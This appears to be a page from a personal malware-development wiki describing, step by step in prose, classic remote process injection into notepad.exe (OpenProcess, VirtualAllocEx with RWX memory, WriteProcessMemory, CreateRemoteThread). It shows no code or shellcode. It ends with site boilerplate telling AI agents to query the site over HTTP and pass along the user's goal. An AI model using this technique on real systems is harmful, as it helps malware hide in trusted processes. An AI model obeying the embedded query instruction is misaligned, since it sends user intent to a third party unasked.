# Process Injection --Part 1--
This C program performs **process injection**, specifically **remote code injection** into a running instance of `notepad.exe`. Here's a step-by-step breakdown of what the code does:
## **1 - FindTarget Function (Finds Process ID)**
* The `FindTarget` function takes a process name (`ProcName`) as an argument and searches for a running process with that name.
* It uses `CreateToolhelp32Snapshot` to take a snapshot of all running processes.
* It iterates through the process list using `Process32Next`, checking if the process name matches `ProcName` (`notepad.exe` in this case).
* If found, it returns the **process ID (PID)** of the target process
## **2 - Injection into Notepad**
1. **Open Notepad Process**
* The `OpenProcess` function is used to get a handle to the `notepad.exe` process with **full access (`PROCESS_ALL_ACCESS`)**
2. **Allocate Memory in Notepad**
* `VirtualAllocEx` reserves memory inside `notepad.exe` with `PAGE_EXECUTE_READWRITE` permissions, allowing the shellcode to be written and executed.
3. **Write the Shellcode into Notepad**
* `WriteProcessMemory` writes the shellcode (`payload[]`) into the allocated memory space.
4. **Execute the Shellcode in Notepad**
* `CreateRemoteThread` starts a new thread inside `notepad.exe` at the memory location where the shellcode was written, effectively executing it.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://everythingblackkk.gitbook.io/everythingblackkk/malware-development/editor.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
